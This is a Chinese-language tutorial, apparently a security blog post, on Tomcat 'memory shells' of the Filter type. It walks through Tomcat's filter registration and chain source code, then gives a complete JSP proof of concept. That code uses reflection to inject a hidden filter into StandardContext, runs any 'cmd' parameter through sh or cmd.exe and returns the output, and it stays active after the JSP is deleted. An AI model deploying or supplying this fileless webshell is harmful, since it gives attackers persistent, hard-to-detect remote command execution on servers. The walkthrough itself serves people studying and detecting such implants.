Tomcat Java内存马 Filter型
之所以称为内存马是因为恶意代码是注入到Tomcat的Context里。
Filter型则是通过把一个编写了恶意代码的Filter注册到Context里,然后触发该恶意Filter来运行恶意代码。当注册成功后,即使把恶意JSP删掉也没有关系,因为恶意Filter已经注册到Context里了,这也是为什么叫内存马的原因。并不依赖于文件。
首先分析一下Filter在Tomcat里如何注册的。
Filter
Filter的doFilter
在Tomcat中一个自定义Filter类需要实现Filter接口,且在doFilter()
方法里编写Filter要做的事。
package javax.servlet;
import java.io.IOException;
public interface Filter {
default void init(FilterConfig filterConfig) throws ServletException {}
void doFilter(ServletRequest var1, ServletResponse var2, FilterChain var3) throws IOException, ServletException;
default void destroy() {}
}
先写一个Demo打断点调试一下。
public class FilterDemo01 implements Filter {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("FilterDemo01 doFilter");
filterChain.doFilter(servletRequest,servletResponse); // 这里打一个断点
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
//Filter.super.init(filterConfig);
}
@Override
public void destroy() {
//Filter.super.destroy();
}
}
在web.xml里注册,或者通过@WebFilter
注解。触发断点需要访问filterDemo01
映射的路径**/servletdemo01**。
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<filter>
<filter-name>filterDemo01</filter-name>
<filter-class>filter.FilterDemo01</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo01</filter-name>
<url-pattern>/servletdemo01</url-pattern>
</filter-mapping>
</web-app>
访问 /servletdemo01路径触发断点。断点为什么要断在filterChain.doFilter(servletRequest,servletResponse)
呢?因为在Tomcat有filter链机制,这里不做赘述。
断点停下,调用栈向上分析,通过源码调用doFilter()
是在ApplicationFilterChain.internalDoFilter()
中
//ApplicationFilterChain.java
private void internalDoFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
if( Globals.IS_SECURITY_ENABLED ) { /*...*/ } else {
filter.doFilter(request, response, this);
}
} catch (IOException | ServletException | RuntimeException e)
{throw e;}
catch (Throwable e) {e = ExceptionUtils.unwrapInvocationTargetException(e);ExceptionUtils.handleThrowable(e);throw new ServletException(sm.getString("filterChain.filter"), e);}
return;
}
}
通过读取自身的字段filters[pos++] 获取ApplicationFilterConfig
,该类封装了对应的Filter
可以通过getFilter()
获取。然后调用doFilter()
。
//FilterDemo01.java
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("FilterDemo01 doFilter");
filterChain.doFilter(servletRequest,servletResponse);
}
值得一说的是filterChain就是在上面传入的this参数,也就是ApplicationFilterChain.doFilter()
,在该方法里会调用internalDoFilter()
方法然后通过filters[pos++]调用下一个filter的doFilter()
方法。
这就是所谓的Filter链机制,这也解释了为什么每个Filter的doFilter()
方法都要写filterChain.doFilter(servletRequest,servletResponse);
Filter的调用
上面分析了怎么调用doFilter()
的,接下来就需要分析一下Filter的调用了。
public class FilterDemo01 implements Filter { // 这里打一个断点
/*...*/
}
接着上一部分的ApplicationFilterChain.doFilter()
往上再看一层,是StandardWrapperValve.invoke()
。根据注释createFilterChain()
就是创建Filter链的。
//StandardWrapperValve.java
public final void invoke(Request request, Response response) throws IOException, ServletException{
// Create the filter chain for this request
ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
filterChain.doFilter(request.getRequest(), response.getResponse());
}
在createFilterChain()
中,会将这次request里的过滤器都加入到Filter链中。
public static ApplicationFilterChain createFilterChain(ServletRequest request,Wrapper wrapper, Servlet servlet){
// Create and initialize a filter chain object
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
// Security: Do not recycle
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain) req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// Request dispatcher in use
filterChain = new ApplicationFilterChain();
}
// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMap, requestPath)) {
continue;
}
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
// Add filters that match on servlet name second
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) {
continue;
}
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
}
首先初始化一个ApplicationFilterChain
类型的filterChain,然后从wrapper获得StandardContext,然后从StandardContext获得filterMaps[] 数组。
// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps()
接下来遍历filterMaps数组,将符合条件的Filter加到Filter链里。
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMap, requestPath)) {
continue;
}
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
// Add filters that match on servlet name second
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) {
continue;
}
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
注意第一次是检查URL是否匹配,第二回是检测Servlet是否匹配,filterMaps 从web.xml的 <filter> 配置项里按照顺序依次读取Filter并进行匹配,符合条件的就加入本次request的Filter链里。
//ApplicationFilterChain.java
void addFilter(ApplicationFilterConfig filterConfig) {
// Prevent the same filter being added multiple times
for(ApplicationFilterConfig filter:filters) {
if(filter==filterConfig) {
return;
}
}
filters[n++] = filterConfig;
}
并且可以看到就是把filterConfig加到链里,而这个filterConfig在上面是通过
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
得到的。
Poc
通过上面的分析已知,我们需要构造的是filterConfig和filterMaps,且都可以从StandardContext中获得。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%
final String name = "2233";
// 获取上下文
// ServletContext servletContext = request.getSession().getServletContext();
//
// Field appctx = servletContext.getClass().getDeclaredField("context");
// appctx.setAccessible(true);
// ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
//
// Field stdctx = applicationContext.getClass().getDeclaredField("context");
// stdctx.setAccessible(true);
// StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/2233");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
out.print("Inject Success !");
}
%>
<html>
<head>
<title>poc</title>
</head>
<body>
hello poc2
</body>
</html>
参考文章: